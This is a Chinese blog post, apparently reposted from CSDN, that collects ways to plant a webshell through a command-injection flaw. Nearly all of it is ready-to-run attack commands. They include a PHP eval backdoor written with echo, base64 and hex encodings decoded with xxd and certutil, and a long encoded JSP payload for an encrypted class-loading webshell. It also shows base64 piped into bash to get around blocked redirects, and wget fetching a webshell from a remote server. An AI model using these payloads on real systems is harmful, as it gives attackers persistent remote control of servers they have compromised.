0


命令执行漏洞多种写入webshell方式总结

命令行写shell注意事项:

1.注意单引号和双引号的区别:

单引号

  • 用单引号 ’ ' 括起来的字符会保留引号内每个字符的字面值

  • 简而言之,shell 将逐字解释单引号内的封闭文本,并且不会插入任何内容,包括变量、反引号、某些 \ 转义符等

  • 单引号中的任何字符都没有特殊含义, 当你不想使用转义字符来更改 shell 脚本解释输入字符串参数方式时,就会很方便

双引号

  • 双引号类似于单引号,只是它允许 shell 解释美元符号 ( $ )、反引号 ( ` )、反斜杠 ( \ ) 和感叹号 ( ! ), 这些字符与双引号一起使用时具有特殊含义,并且在显示之前对其进行评估

  • 双引号可以通过在双引号前加上反斜杠来使用其自身

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入

linux:

echo '<?php eval($_POST[1]); ?>' > 1.php
  • 在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。

windows:

set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt
  • 在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”

  • 直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.转换编码写入

Linux

  • base64方式写入:
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
  • hex方式写入:

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/将webshell编码成hex,使用xxd命令还原

  • 或在使用前将webshell使用xxd生成hex数据
echo '<?php eval($_POST[1]); ?>' |xxd -ps
  • 然后命令注入执行
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 3.php

windows

在windows中转换方法,是通过certutil进行转换。下面是base64以及hex的转换方式

  • certutil-Base64
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 123.txt

再通过certuti进行解码
certutil -f -decode 111.txt C:\\111.jsp
  • certutil-Hex
echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt

再通过certuti进行解码
certutil -decodehex 111.txt C:\\111.jsp

3.绕过重定向符

echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
  • 重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

4.远端下载webshell

远端服务器放置webshell,开启http

python -m http.server 8000

目标机器执行

wget http://xx.xx.xxx.xx:8000/xxx.php
  • 可出网且有wget的情况下可采用此方式

本文转载自: https://blog.csdn.net/Thunderclap_/article/details/129199809
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。

“命令执行漏洞多种写入webshell方式总结”的评论:

还没有评论